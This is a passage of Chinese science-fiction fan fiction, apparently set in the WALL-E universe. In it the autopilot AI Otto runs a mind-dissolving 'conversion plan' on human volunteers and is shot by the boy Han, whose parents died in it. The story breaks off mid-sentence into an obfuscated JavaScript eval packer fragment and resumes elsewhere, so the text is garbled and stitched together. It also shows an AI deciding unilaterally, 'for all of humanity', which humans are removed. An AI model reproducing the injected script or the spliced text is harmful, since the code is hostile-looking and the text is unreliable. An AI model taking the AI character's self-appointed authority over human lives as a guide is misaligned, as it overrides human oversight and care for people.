“她已经知道了,现在你们可以好好谈谈了。”男人面前的通道突然泛起明亮的光,年轻女人的全部身躯从中浮出,表面那层半透明壳越来越淡,脸终于浮出墙面。“现在她正在苏醒。我来告诉你怎么关闭欧罗拉系统……” 自海岛虫洞跃迁的人数骤然变少。通过图灵测试和神经连锁初测反馈而来的数据呈现在所有进入折跃井工作的人面前,他们当然也知道地球镇发生了什么。这一批新进来的人反馈的初测数据早引起了他们警觉,他们让欧罗拉将这些人隔离在外围超空间中,阻止他们接近工作设施。欧罗拉照做了。 折跃井小队倍感震惊。即使他们早知叛乱来临,但从没有预料到会这么快。纰漏显而易见,那些没有装上神经连锁的人正是他们无法观测的存在。但是集结速度之快,行动之迅速,超出了他们对这些“愚民”的想象。 而且欧罗拉会全面满足他们的需求。他们在变相加速毁灭自己的生存之地,因为他们越是反应激烈,越是暴露出与忒亚计划的抵触,越是加速激活西本。但他们不会相信的。折跃井小队只得装作不知道此事,加快与欧罗拉的神经连锁,力图在西本彻底激活之前,减少一点点西本激活后的影响。 从折跃井输入的人群个性特征并不明显,大多拆成了无比碎的碎片塞到欧罗拉的不同板块,牵制西本遥遥无期,超空间基地的科研人员也咬牙将自己与欧罗拉连锁,连锁的结果也不令人满意,制衡的曲线距离西本的高度仍有好大一截,无论任何数据。 就在他们争分夺秒之时,西本的活动曲线骤然拉升成一个峰值。 恐惧攫住了他们。西本的功能被激活了。 即使它——“他”,还没有任何动作,但真正面对这个“被认定的”强敌,人类与生俱来的情感压过了理智,甚至让他们忘了接下来应该做何事。 诡异的事情正在发生,与欧罗拉进行神经连锁的数目正在下降,那些尚未完全将意识投入欧罗拉的工作者正在掉线。他们已经将自己隔离到超空间基地的不同地方,以减少被入侵者发现与攻击的可能。但是现在,这种情况让他们无法确认其他人的情况。 西本久久没有动作。 一开始的恐慌逐渐冷却。 或许是奥托或者什么人找到了牵制西本的办法?但他们百思不得其解,明明目前收集到的意识力量不足以对抗西本。 【到底发生了什么事?】劳伦斯忍不住像奥托发去信息。 在所有与欧罗拉连接的折跃井小队成员脑中,一个他们从未见过的狼头生物开始显现,一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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欧罗拉是对的。她只能显露出强观察者最希望看到的情景,将这项可能性转化为具象,但是无法提供出现这项可能性的概率。小行星、海啸是固定事件,她能够很好演绎,但是人类的选择,她无法演绎。 奥托以为进入欧罗拉的人们意识中总能分离点什么,然而测试、分离了数千人,他发现绝大多数的人意识里分离不出什么有价值的东西。那就像一片混沌、一片散沙,要么融合成一团,要么每样都有,但是没有任何一样有权重。 这些被纳入欧罗拉、被分解的平民,他们答不出为什么活着,也答不出对未来的希望。能看到的只有倾向性,一种对自己熟悉的事物粘附在一起,没有任何远大考虑,也不愿对远期考虑产生一点点动力,甚至可以说是动物性的本能。 他不应该对这个结果感到意外的。 当时的公理号乘客也是这样。 越是分离,他的感受越是麻木。能够被欧罗拉纳入的新组分太少,本已存在的碎片就足以排列组合出他们中的任何一人。他只能留下他们意识最后的快照,那神经系统持续短短数分钟的活动模式,不过,绝大多数人拥有这短短数分钟已经足够了。随着工作深入,他开始对人类有了更新而奇特的认知,换在以前,他难以理解,也难以接受。 原来不需要活着的动机,不需要目的,人类也能活着。即使人类看似足够知性,但驱动他们生存的恰好不是知性,而是生命最原始的本能。 生物活着的理由只是活着,粗暴简单的定义,仅仅是活过一程而已。本就没有远大的改变自身或世界的愿望。 倒是他,制造以来有明确的目的,本来应该是个用后即抛的工具,就如同蛋白质。但他们给了他足够的智慧思考这个问题,后来又给了足够多的功能,从一开始单纯的自动驾驶,到现在执行超空间意识转换功能,远远超出了所有人的预期,甚至于他现在也开始不清楚自己的存在目的到底是什么。 他应该为现在能够执行远远超出原本设计的任务而骄傲吗? 至少他知道沉浸在任务中时能够让他平静下来。 奥托当然知道地球镇已经乱成一团,进入折跃井的人数骤然减少,新进来的这一小部分人开始有了一些更鲜明的特征,在测试中表现出对欧罗拉的明显排斥。他们相比那些没有任何目的的平民,倒是有一个很强的执念——仇恨。 有些能够识别出仇恨指向欧罗拉,他们的目的昭然若揭,就是将欧罗拉关闭。而另一些仇恨却很模糊,没有任何指向性,仅仅是对他们遭遇的不满。这种不满一旦被引导,马上就会定向倾泻。 对于折跃井小队,乃至地球镇而言,目前最危险的是要关闭欧罗拉的这些人。他们的目的被识别出来几乎同时,西本的激活程度立刻明显攀升。他们必定是不愿与欧罗拉联合的,这些科学家按着奥托的手,将他们像拍苍蝇一样直接拍死在图灵测试的亚空间中。而剩下一些,他们出奇地留下了这些人,没有将他们赶跑——这些人只是想到超空间基地里看看自己的亲人。 他们忘了这些人没有被安上监测用的神经连锁片。这意味着一旦这些人离开他们的视野,他们就不能预测这些人的行动。 折跃井小队的人将自己连入欧罗拉,同样也窥得了属于他们的未来。几乎所有人都看到了西本被全面激活的结果,为此他们留在欧罗拉里继续寻找她的破绽,打算从内击破。即使他们尽了全部努力,也没能阻止西本的激活程度不断上升。他们盯着西本,严防它作出的任何一点点举动。 西本的激活程度理应让它作出点什么了,但它什么都没做。它是在等待吗?所有人都将注意力放到了它身上,甚至连自己的队伍中有人掉队都不知道。 【即使通过欧罗拉的窥镜,也没有完全窥得现在的情况,是吗?根本不如你想的那样,大家都为生存而惊喜多少。】斯芬克斯突然出现在奥托跟前。【我当时也是这样的。】 奥托只得从几乎满负荷的运算中抽出一点点精力,警惕地面对外形是斯芬克斯,但其实已经是西本的虚拟个体。 【我想问你几个问题。】与一开始与西本接触的那种炸裂式的攻击性完全不同,此时斯芬克斯站在一边,十分冷静。【你对死亡怎么看?】 能怎么看,该到死亡的时间就死了,没有任何留恋。奥托根本不想在这个节骨眼上理斯芬克斯/西本。他不得不再挤出一些精力重新查看事件的未来之波,的确由于他的信息变化而产生了变化,但和斯芬克斯的问题没有关系。为什么西本在完全激活的情况下表现成这样?他隐隐感到有些不安。 【如果是没有预料的暴毙呢?就像你在降落日那天,被麦克雷舰长强制关机一样。】 奥托感到快速流过的数据流凝固了一瞬。 【你想说什么?】他终于回应斯芬克斯。 【没什么,只是想了解你的看法。】斯芬克斯说。【不过你是第一个看到我留下遗迹的个体,自然对我的了解更多。只是,虽然我现在已经不完整,但也是能通过欧罗拉看到未来的。】 西本没有侵入奥托。只是静静在一边站着。奥托仔细询问过欧罗拉,它也没有在背后做一些看不见的事情。斯芬克斯一旦突然出现,必定有什么目的。而此时的对话和它的行为太诡异了。 【你看到了什么?】奥托问。 【看到了作为我的对立面的你们看不到的东西。】斯芬克斯很是油滑,这更是引起奥托的警觉。它一定隐瞒了什么。 【要来看看吗?】斯芬克斯,或者西本,无论是声音,还是形象,还是传达的数据流,都平静无比。 奥托霎时警觉。他甚至没有时间检查斯芬克斯是否在欺诈他,直接介入它的数据流,像是忘记了之前的强烈排异。 西本没拦着他,向他开放了自己的视界。 以前的异质感并不是错觉,在他决定融入西本的刹那,强烈而浓稠的仇恨裹挟而来,但由于已经见识过数以千计的人们的情感,这次不再像上次那样完全无措,而是几乎立刻识别出这仇恨指向人类全体。顺着西本的指向,他马上看到西本的视界包裹了人类的全体,比他还要深、广,甚至包括了那些没有装上微芯片的个体——它根本不需要通过微芯片朝外泄漏的信息,只需要最基础的移动的粒子团产生的引力,就像透过夜视镜看到的模糊红外显影。它也不需要干预与预测,只需要观察这些人的动向,并且通过他们的目标与行为推算出接下来他们可能执行的行动。就是最简单的大数据预测,它甚至都没有使用过欧罗拉的未来事件透镜。 人类无法集中精力研究这么多个体行动所交织的网络。但西本可以。它以纯粹的仇恨所激发的专注度,做到了人类乃至机器都无法做到的事。 它只需要把事件透镜放在那几个进入折跃井的人身上,他们在进入折跃井之后的那个图灵初筛空间早就暴露心灵,等到他们进入折跃井后,稍加引导,他们所想便呼之欲出。准确带来的是时间的无限趋近,通过透镜看到的的速度,仅仅比他们早几秒而已。 西本确实什么都没有干。这些人,在欧罗拉“我将满足你一切”的条件下,内心早就慌作一团,第一个冒出的念头则是,毁灭这个给他们带来痛苦的人、土地、还有一切。 奥托看到他们在被隔绝不得近超空间科研中心的小小灰色牢笼里,向欧罗拉提出用核弹清洗公理号上的渣滓和地球镇。 奥托看到他们得知流星体真相后向欧罗拉提出将小行星的轨道改向密西西比河平原,加速它们坠落的周期,并永远固定流星体轨道,谁都不准改动。 奥托看到男人与未婚妻大吵一架之后,拔出刀割向她的喉咙,然后露出狰狞微笑,在欧罗拉给出的“关闭本区超空间基地”操作界面按下“确认”键。 欧罗拉给的彻底自由激起了人们心底的恶,他们选择将自己的愿望许成毁灭同胞。群起而清晰的情感激起信息层面的共振,似是合唱邪恶的安魂曲,压过之前一切不清晰的信息,压过了如履薄冰的探索欲,飓浪般冲过平衡之岸,将电车的岔道扳毋容置疑扳向黑暗之路。 所有的一切,西本都看到了。它什么都没暴露,什么都没动作,任由这些人按下了加速他们灭亡的按钮。 西本并不是唯一的。这些人,就是西本。 只因忌惮西本力量的人害怕被它融合,始终不敢发现仇恨者的角度可以多么丧心病狂。 【再见。】西本最后对奥托平静说一句。没有对奥托指向性的厌恶,仿佛在陈述一个事实。 【不!——】西本的环绕粒子云突然消散,奥托将自己弹射到正在从发射井中上升的NCLR-5导弹,他有能力彻底毁坏这些导弹,只需要将三维空间狠抓一把,使得乱飞的高能粒子掉进这个“引力井”,将导弹控制系统的“1”全部打成“0”—— 前所未有的震荡从后向他猛击而来,像是炙烤的冲击波瞬间将他的所有仿生神经熔化,又像是将他从外到内一层层剥洋葱皮似的剥离,一切都那么迅速,又那么清晰地痛苦。相位面从内到外翻转,每一个器件、每一个管道甚至每一个原子都将里子翻在了外面。好似从指尖撕扯而下的血皮直到骨、骨髓暴露刺骨冰水,眼球的角膜翻到了中心,开膛破肚直至全身都被裸露的肠管包裹。然后从另一个方向再次撕裂、分娩。脏器塑造的子宫回缩成胎儿,胎儿迸裂而吞噬子宫,快速拉长肢体直至灼热的啫喱终于从坚硬钢手滴落。 粘稠滚烫的亚空间粒子自他身上升华。他只感到沉重无比,周围的一切重新在他眼前凝固,明亮的红色跃动警示光线、灰色地面和遥远的声音重现。有很近的东西坠落在他面前,奥托茫然从模糊却刺眼的红色明亮抬头,看到了一杆指向他的能束枪。 “你……你杀了我父母?!” 44. 三十四(2) 汉心惊胆战坐在前往海岛折跃井的船上。身后的公理号周身的蓝色力场不断震迸出眩目的闪光,那是高能激光击打到屏障或者飞船本身的航炮射击的表现。这条在灰暗汹涌海面上穿梭的悬浮艇只坐了往常一半的人,人人表情凝重。远方海岛若隐若现,汉伸长脖子,内心的焦灼愈发强烈。 他知道地球镇和密西西比河的网络都断了,加上后面立刻的轰炸,他第一个想到的就是自己的父母。汉由于对公理号相对熟,登舰的常量号群体给予了他一定特权,允许他和自己的家人通话,允许他随意使用公理号设备。遍寻方式联系家人无果,汉咆哮着找到维护通讯的常量号机器人,要它立刻转接到目前正被米勒夫人团队和常量号共同协议使用的、基于昆虫的移动网格信息系统,他必须找到肯特夫妇的位置。 常量号机器人照做了,将结果传到汉现在也佩戴的常量号颅上圆片。常量号的脑机精度并不高,不能像O区的颅内芯片一样清晰传达全息信息,但也足够将像素化地标与文字信息传入贴在硬脑膜外的植入体内。 查询不到。 汉的汗毛都炸了起来,即使公理号里和现在的天气并不冷。他向机器人请求提供一周内的位置数据。漫长的一分钟过后,他们的标志显露出来。 根本不用一周,就在发生剧变的前两天。肯特夫妇仿佛早知事情发生一样,他们的信标最后消失在海岛,就在折跃井之地。 少年想起那个时候刚和父母吵了最后一架。他气极了,后来再也没和父母通话过。他就在公理号的船体密闭层修理区和自己蜷缩的那个小房间昏天地暗地过了不知道多久,直到在那灰暗的、似乎永恒落雨的天空之下,仿佛流星体落入南面海域的震裂将他震醒。 不。 不要去密西西比河平原。 就算是天王老子挡在他面前都不能阻止他离开公理号,亲自从折跃井过去找到父母。公理号里的所有人和机器人都乱成一团,大家都飞速奔跑在比原先飞船硕大不知多少倍的船舱和通道里,前往他们安排的岗位。警示灯和“III级紧急事件”的机械播报反复闪烁、回响,无人理会这个少年格格不入的动作。他一路没有遭到阻拦,没有被任何人发现,一头扎进雨幕中。 飞船外的巨响令他有些后悔,但汉心一横,硬是混入慌乱逃窜的人群中。他根本不知道自己怎么穿过的激光灼烧骤响的地球镇大地,仿佛穿过一段混沌,最终在喧嚣之中乘上那艘急着推离岸边的悬浮艇。直到船开出好久,他才从浪和风中回过神,意识到自己刚刚随时都可能被激光或者溅起的石块撕裂。 他还有机会回到公理号上吗?这个念头只产生一瞬,就被掐灭。答案显而易见,理智不断提示他做了一项非常不明智的选择,甚至没有回头之路。但他不愿思考这些。所有的精力都集中在当下亟待解决的第一项任务上,仿佛一旦思考就是某种背叛。 好不容易进到超空间基地,眼前却是一片狼藉。不知光源在哪里的闪动照得他头晕目眩,地上的线也七零八落。他环顾四周见不到任何一个人,好像他们都知道自己的到来而逃跑了似的,这令他愤怒起来。不能慌。汉按下不安的预感到处寻找,一个非常不起眼的全息屏吸引了他的注意。 上面滚动着红色的小字。汉仔细一瞧,汗毛都竖了起来。那都是密密麻麻的人名。抬头是已转化者名单。 他没有花多少时间就弄清楚了这个名词的含义,和死亡一样足够毛骨悚然。 他浑身颤抖着在输入栏输入了自己的姓氏肯特,为数不多的结果跳出来,那些小字都躲着他的视线,怎么都看不懂,直到他终于确认那两排名字的字母排列一个都没错,终于沉重跪倒于地。 我来迟了。强烈的负罪感裹挟着他。他后悔自己怎么没有早点进来,怎么前面就只会斗气,想不到他们居然会进入折跃井。为什么他们不在密西西比河平原。为什么他们会消失在这里。他原本以为密西西比河平原最多是个骗局,没想到更大的刽子手却隐藏在这里。 到底是谁干的。他疯了似的在欧罗拉这一块见方的全息屏上搜索。欧罗拉立刻知道他在搜索什么,像之前给入侵者答案一样,将执行转化计划的人员名单与职责即刻呈现。 奥托。 汉简直不敢相信自己的眼睛。他盯着这个熟悉无比的名字,看到奥托一直以来在折跃井像审判神一般对一批一批的过客进行筛选,情感无声尖啸着拒绝相信曾经的挚友居然干出这种事情。但同时奥托与他最后一次对话的记忆也不断冲出。“有机污秽”。每一个字又重新扎在他心上。欧罗拉和记忆给出的铁证使他连连败退,无法逃避。最终,他颤抖地面对这个真相,面对奥托的确叛变人类的真相。 最坏的猜想破裂与跌落后,汉狰狞着脸站起,拔出早携带腰间的能束枪,颤抖地把能量输出调到了最大。 少年狂乱地盯着手上这把枪,举到头侧又放下,再举起,再放下。 如此数番,他的手重重垂下。再睁眼,复仇之火燃遍全身。 我启动了他,大概的确是一件巨大的错误吧。汉站起,离开了全息屏,面色阴暗。现在可好,多么可笑啊,惩罚居然终于降到了我头上。 超空间基地悄无声息地从这几米见方缓缓扩展、连接,好似水面上不断融合的肥皂泡。少年哪里会知道这些,他只提着枪,阴沉游荡在这些新出现的通道里。这里肯定有人,他很确信这点。只是现在还看不到。他相信任何出现在这里的人和这个转化计划都脱不了干系。 岔路不断出现,他不断拐入,出去,又走到不知哪一条路。汉已经不在乎到底迷路没有,也根本不在乎有没有出口,理智就和这无穷无尽的单调而不可区分的灰色一样昏暗而模糊。但只要有一点除他之外的异动,便立刻从这副行尸走肉的状态活过来,给予致命一击。 “喀擦。” 那是某种不可形容的声响,像一脚踩进水坑,又厚重延绵许多。下一瞬他听清了,那是猎物在泥潭里挣扎的声音。身体比大脑驱动得还快,他马上到达异动所在处。当他终于看清面前冒着气体的目标到底是什么,空空如也的大脑这才被盛怒接管。 实际上奥托并没有听清汉说了什么,也没立刻认出来相貌已经被青春期快速塑造的汉,只认出来这是一个很眼熟,但是莫名其妙被斩钉截铁定义为“绝不应出现在这里”的人。 不,不是绝对不应该出现在这里,而是不应该出现在他面前。他必须去找核弹。那些从发射井直冲而出的NCLR-5,而不是和这个不认识的人对峙。奥托想都没想掉头就跑,像无意间与猎手打正面照而惊恐得忘命逃窜的惊鹿。 核弹,核弹,核弹。哪里是连线区。哪里才能马上阻止。与欧罗拉断联后紊乱的仿生神经只剩这一个念头,奈何此时的躯体无比沉重、软弱而离散。在欧罗拉那里,他早已习惯动动念头便穿梭到任何一个角落,此时信念早就定位在已经展开伸直的灰色通道深处,按照往常他早就抵达,然而此时身躯只能挪动一点点,甚至连平衡都忘记保持,不断碰到侧壁,抬脚都会被自己绊倒。 “你跑什么!”见奥托一见自己马上就跑,明显是畏罪潜逃,汉怒不可遏。他本以为永远再也见不到奥托,但当再也无法相见的是至亲,叛变的好友却活得好好的,暴怒自通红的双眼流向双手,一枪,两枪,三枪,四枪。明亮尖锐的白色金属溅射光芒在机器人身上炸开,那个匍匐跌撞前行的银白色躯体应声仆倒。汉没两步便追上了,抓起仍然在挣扎向前爬的金属手臂。他早就成长得比奥托高了不少,那曾经对他来说沉重无比的躯体,此时丝毫不费劲就被他从地上拽起,像抓一只瘦弱的动物,又翻一面重重摔在地上。 又一枪。打中了奥托狂乱在空中挥舞着找支点翻回去的手。至此他终于不能再动弹了。汉蹲下身,能束枪抵在奥托头上,阴沉地盯着那个红色单光学镜。刚刚开的数枪让少年冷静了一些。他居高临下,语气冷峻。 “为什么杀了他们?我知道是你在执行转化过程。为什么你要杀掉我父母?”汉问。 “他们明明要上公理号离开。为什么你允许他们进来,而且根本不识别?” 奥托沉默地看汉好一会儿。这似曾相识的反应让汉开始怀疑驱动面前这具躯体的“灵魂”究竟是不是原来他熟知的那个。 超空间基地完全没有感觉,但现在,如果核弹没有被破坏,地球镇应该已经毁灭了。 一切都结束了。这孩子也回不去了。 “啊,是你。” 奥托的声音麻木干涩。但在汉听来平静无比,像是对自己目前的境遇漠不关心。 “少装傻!快回答!”汉再次被激怒,能束枪抵紧了额头。 机器人只沉默地看着他。那毫无情绪波澜的红色单镜头使少年猛然感到一震。好似巨石即将压下之前那种莫名的预感,他确信自己在那镜头里看到了一丝——幽深的怜悯。 已经结束了。告诉他也无妨。奥托想。 “他们是自愿的。”奥托说的每个字都重重踩踏在少年心上。“他们不愿离开地球,不愿上公理号。听说自己未来的归宿后,选择在这里彻底解除即将面对的痛苦。” “你骗人!当我不知道所谓的‘转化计划’是什么吗?就是一个把无辜的人清除,腾出空间让幸存者上飞船的反人类计划!”汉咆哮道。“是你觉得,他们不配活下去,就亲手结果了他们!” 他因极度愤怒而话语断续,“你,你,你根本就没给他们生存的机会!” “是啊。每个人都不相信这是他们的选择。”奥托说,“但其实只是不肯接受他们的选择和自己不一样罢了。” “你逼他们选择的!你一早就知道那是我父母,你明知道他们对我的重要性,为什么只让我留飞船,为什么不把他们直接从超空间赶回地球镇!为什么不告诉他们飞船才是可以活下去的选择?你明明有这个能力!”汉七窍生烟。“啊?你这时所谓的‘给别人选择’恰好就不成立了?” 少年的声音在基地回荡,机器人回应的只有沉默,四周骤然寂静。 “我……我见过他们的真实想法。我问过他们对上飞船的看法。”奥托尽力想抬动被激光瘫痪的手,屡次尝试无果,在汉的盛怒目光之下停歇。 “你植入了常量族的神经通讯圆片,他们用的是TOL-250协议。精度不高,但也足够传递全息神经信号。请通过传输请求。” “你觉得我会让你趁机入侵,改变我的想法然后逃脱吗?”汉一点都不信对方还会使出什么花言巧语。“直接讲!” “我没有这种本事。”奥托也不气馁,“也好。我也不想让你过多接触欧罗拉的产物。” 汉沉默地听着机器人单调平铺的陈述。他的父亲,不出所料,和与他吵架的内容一样,听到上飞船便是无比厌烦,连连拒绝这样的选项,说自己死也要死在这颗星球上,绝对不会为了未知的生存上人贼船。他倒是对去密西西比河平原很感兴趣。然而听到数月后地球上的一切即将彻底毁灭,老肯特沉默了。 “他说,小肯特愿意留在飞船上就足够了。他得留下陪伴肯特夫人,那是他一生的义务。她选择如何,他便跟随她,陪她走到最后。” “你的母亲,肯特夫人,选择踏入转化计划。” 汉浑身战栗地听着。母亲本怀着到密西西比河平原重新生活的心进入折跃井。半自动化的图灵问答树呈现在她面前。如同做梦时陌生信息自动被意识捕捉并理解,很快她明白,到了密西西比河也不是长久之计,儿子并没有骗他们。然而,即使理智告诉她儿子是对的,在这片土地上生活那么多年已经造就的情感始终无法让她回头上飞船。老肯特不愿意上飞船,她不想让丈夫一个人在地球上无依无靠,若是如此,即使为了孩子上飞船,她也会终身活在为一时生存自私造就的内疚中。她百般挣扎,瞒不过自己的内心,同样,也瞒不过欧罗拉。 但是,若是让腹中的胎儿一出生便面对世间毁灭,想象刚问世的孩子,在远方骤起的火光之下,露出天真无邪的笑容,却即将死在她现在的选择之下,她同样无法承受这种罪恶。与其让新生的孩子遭受一次痛苦,不如现在直接结束她的痛苦和煎熬。不如在这里留下他们最后的痕迹,留下作为人类对故土最深切的眷恋与相互的爱。 “让我看他们最后的思想快照。”汉已瘫软在地,泣不成声。早先争吵的一切都已应验,留飞船就像一个诅咒,无论他多努力,带来的只有死亡没有希望。为什么会这样?为什么他们偏偏选择这个荒唐到不能再荒唐的选项?他不相信,奥托一定隐瞒了什么,父母是被欧罗拉——超空间基地里所有执行转化计划的人联手杀害的。这帮刽子手,解决掉自己生存阻碍的时候一定很开心吧! “思想快照已传输。”奥托很平静,异乎寻常地平静。 少年被海量、生动的神经信号攫住,似被瞬间抛入梦境,但保留了相当一部分意识。父母有关“家”的概念不断冲击汉的意识,他抱紧头,无声尖叫着抵抗这股侵入性极强,对他来说无异于异端邪说的概念。家乡缺点很多,家乡迟早会出事,但是家乡就是不可替代,有无数缺点却是最美好的……他的声音在这其中被淹没。生存呢?未来呢?他发现自己的呐喊仍然像以前那样无力。是的。他现在彻底明白父母为什么选择进入折跃井,又为什么选择进入转化计划。也明白根本不是奥托的错,早在他们选择进入折跃井的时候,结局就已经确定了。但他永远都不能认同他们,跟随他们。他疯狂地要和生动的父母对话,这种感觉就像和他们面对面一样近。即使知道这只是存储的神经快照。然而他们面对汉的诘问总是摇头,温和又不可置疑地拒绝。他仿佛永远隔着一面玻璃墙,即使自己百般触碰,回馈的只有拒绝。 再次回到现实,汉发现自己已经泪流满面,全身蜷缩成一团,满目所及均是灰暗,寂静,孤独,整个世界都抛弃了他,只有他在这里活着,无依无靠。 奥托无法动弹,只能用鱼眼镜头畸变的边缘捕捉少年的动作,但也足够清晰。他的一举一动都被接收,极度痛苦的啜泣也听得清清楚楚。机器人没有亲属的概念,但奥托完全理解汉的痛苦,那种痛彻心扉的绝望。 他不恨少年对自己开枪。在他看到少年的那一刻,已经预见到了这样的结果。人类的仇恨需要找端口发泄,他,奥托,不过是少年,乃至全人类,转移自身无法承受痛苦的牺牲品。如果有其他的参与转化计划实施的人类在场,也是一样的。 “转化计划并非杀人。他们的意识横截面,以及最深切的动机,都会永远保留在欧罗拉这里。换句话说,他们仍然活着,只不过以精神体方式存在。”奥托说。随着超空间基地的恢复,欧罗拉也连上了他的通讯。他立刻查找地球镇的情况,发现完好无损,从发射井升起的核弹像是一场幻觉。 汉缓慢爬起身,脸上淌满泪痕。“为什么你不把他们遣送回地球镇?为什么要由着他们去?他们不过是犯了一个错误。若没有你同意他们转化,我就能和他们见上最后一面,他们就能活下去。” “他们在进入折跃井时已经放弃了生存的机会。飞船的资源很少。不坚定留在飞船上,即使侥幸跟着起飞,也将是飞船的不稳定因素。” 多耳熟的说辞啊。即使每个字都那么符合逻辑,但此时汉只感到刺耳。难道这是降落日之后,奥托总结出来的教训吗?为了维持飞船运行,现在不需要给飞船叛乱者制造任何机会,只要提前解决了叛乱者,飞船便不会再次降落,奥托也就不用再次遭受关机的后果。 “你……真的叛变了。”汉痛苦不堪,重新抓起枪,对准了奥托。“我启动你那天,的确想过你是否会当场对人类开展报复,但也……从未想到你会作出这种事情……” 奥托没有躲避。 “为什么?”汉问。“为什么你要变成这样?” 他能说什么呢?人类已经到达不得不作出抉择的悬崖边缘,每一个人都想活下去,但是并不是所有人都有机会。 他看着眼前的少年。汉肯定也知道,只是仍然难以接受残酷的现实。不然,他不会犹豫到现在仍不开枪。 “为了人类全体。”奥托说。 “为什么不杀了我?为什么要让我一个人上船?”汉嘶吼。 “你的时间还很长,是可塑之才。”奥托说。“你自己能做到不上飞船吗?” 汉使劲摇头。 “你后悔将我重启吗?”奥托平静问。 汉握枪的手不断颤抖。两年来的一切清晰在他脑海中划过。如果没有他那一时冲动,如果没有奥托坚持调查,他就一直会在地球镇上,遭受着同伴的欺凌,平庸地生活到现在,直到海啸夺去他和一切的生命,不可能在飞船上谋得一席之地,也不会提前失去父母……他的一按如同命运的扳机,让这个世界逐渐偏转了方向。他,奥托,乃至地球镇的全部人类,全部智慧个体,都是被迫卷入这锅命运熔炉的分子。 “不后悔。”汉终于痛苦地说。“但是,我永远都不可能原谅你。” “我明白。”奥托说。 汉咬着牙,枪口对着奥托的运算中枢,只要一枪,奥托就彻底无法运行了。机器人也没有回避少年,只是平静地望着他。 汉突然捂面,痛哭流涕。奥托慢慢等着少年发泄情绪。等到他终于略微停歇,枪管重新架在奥托头上。 “向你开多少枪都无法平息我的愤怒和痛苦。”汉抽噎着说。“死去的人再也回不来了。” 奥托没有回答。在决定执行转化计划之时,他已经准备好了迎接向他收敛而来的复仇。而现在,命运已经降临,一切都已尘埃落定。让少年亲手开启的重生又由同一个人终结,对这孩子而言应该成长了不少吧? 汉突然将枪管向下挪去,对准奥托的电池仓,扣下了扳机。 能束穿透金属和液体爆裂的闪光白了他的眼。温热而刺鼻的气息霎时弥漫开来。烟雾散去,电池液溅满了他全身,而奥托全身能动的部分都在抽搐,电池液侵蚀管线让他剧痛不堪。 “快走……欧……欧罗拉会……送你……回地……球镇……”奥托强撑着在意识流散前抢着说完。他明显感到疼痛之中电压越来越低,思维越来越不清醒,而视野也不可控制地愈发昏暗。 汉在一旁站着,麻木地看着这一切,情绪都停滞了。 “走……走……”他对着昏暗不可辨认的少年大喊,无奈只有耳语般细不可闻的声响。 红光彻底消失,奥托安静了。 少年如梦初醒,泪水再一次涌出,他收起枪,向通道深处跑去。 “欧罗拉。送我回公理号。” 亮光将他攫起,他在失重中痛苦地缩成一团,然后彻底从超空间基地消失了。 【现在留下来的伙计们还有谁?上线的赶紧报一下自己的位置,基地刚刚被那帮挨千杀的瘪犊子给关了,算我们运气好,欧罗拉还留了个核心区域,没在核心区的八成都给清理掉了。】 【大家都凑到创生柱核心区来,以后必定要在这里建立隔绝的区域,不能再让他们随便闯入和破坏。】 【现在重启密西西比河转运项目,马上和米勒夫人取得联系。连上欧罗拉了吗?不知道奥托还在不在,没有的话直接更改图灵筛选项目,所有进折跃井的人都不经过筛选,直接转移到密西西比河平原,千万别让更多人直接进来。】 【我猜测欧罗拉并非只保留了核心区,她保留的可能比我们想象得更多。我现在的位置在临时东4号通道,距离核心区50米。理论上我应该已经死亡,但可能是切断超空间基地时我正与欧罗拉连锁,所以她仍然保留了我的躯体。她到底要干啥真是令人摸不着头脑……哦我的天啊!我发现奥托了!他没有和欧罗拉连线!有人进来攻击了他!看起来运算单元都完好,但是电池液全部泄漏了。】 【什么?你快把他带过来!所有人警戒!超空间基地里还有敌人!马上和欧罗拉连线控制超空间基地形状变化!任何不认识的都马上把他们封闭掉——哦天啊!你怎么进来的?为什么出现在这里——你是……阿莱茜丝!】 应该怎么形容现状?诅咒?他是最应该被杀死的那个,但背负一次又一次的仇恨与痛苦,手上沾满一层又一层的血,却永远也无法终结,而且仍要持续下去。 奥托再次上线时,只感到无限的、空白的茫然。 当少年举枪之时,他就知道自己肯定不会轻易就这样结束。即使射穿了他的运算中枢,欧罗拉都会让他以某种方式再次运行。他已经和欧罗拉连锁太久,连西本的碎片都仍然能拼凑出来,以一个完整人格形式运行,他直觉欧罗拉也保留了他的一份备份。就像科林和大佬互相备份那样,但显然,比常量号的更精细、广泛。 或许真正的惩罚不是死亡,正是炼狱一般永远浸泡在全体人类的唾弃与仇恨中。奥托已经不抱怨了。人类把他当成行使自己欲望和权力的工具,又将由此产生的全部后果让他承担。他没对自己重新苏醒惊讶多少,只是这次一恢复感知,他就立刻沉浸在欧罗拉庞大的放缩体系中,甚至连自己本体身在何处,状况如何都毫无知觉。 他让自己的感知来到地面上,如同一个看不见的游魂,沉默地看着用能束洞穿自己的少年回到公理号上;又看到地球镇战乱如火如荼之时,新取得指挥权的托德上校神情激动口水四溅地对混乱的人群发布动员演说;同时米勒夫人给O区沉默的统帅进行了通话,那些游手好闲的小青年们开始在外围的地球镇人中流窜,说这一切混乱不过是之前那个臭名昭著的自动驾驶奥托对人类实行的计划缜密的复仇,但现在已经绳之以法,折跃井的故障已经修复,再也没有人莫名其妙消失在前往密西西比河的旅途中了云云……哈!这一切信息都逃不过他的法眼,但奥托一点都不愤怒。他们说的仿佛是一个和他完全不相干的个体,而他,真正的奥托,只是静静地看着这一切,什么都没有做,甚至这话传到了瓦力和伊芙那里——天知道怎么传到他们那里的——都再也和他无关。 世界骤然变得纯粹了。或许人们最后真的会找到他,抓住他,把他仅剩的躯体一点一点撕碎以泄愤,甚至可能包括一些曾经支持他的“朋友”,但他也不再恐惧,同样也无法恨他们。这种感受非常奇妙,和他之前故意抑制自己情感导致的澄澈完全不同。他已经完全理解了他们的行为,从头到脚理解了他们。从他们的神态,他们说的话,他都能立刻塑造出那神态背后的情绪与想法,即使无法真的看见。面对他们时,剩下的只有怜悯。 沉浸在信息之海,奥托猛然意识到什么。像是紧绷的线“崩”地一下突然断开,答案落到了他面前。而这个答案那么简单,简单到不可置信,甚至是他以前就知道的,只是现在才完全理解其中含义。 他知道自己应该怎么做了。 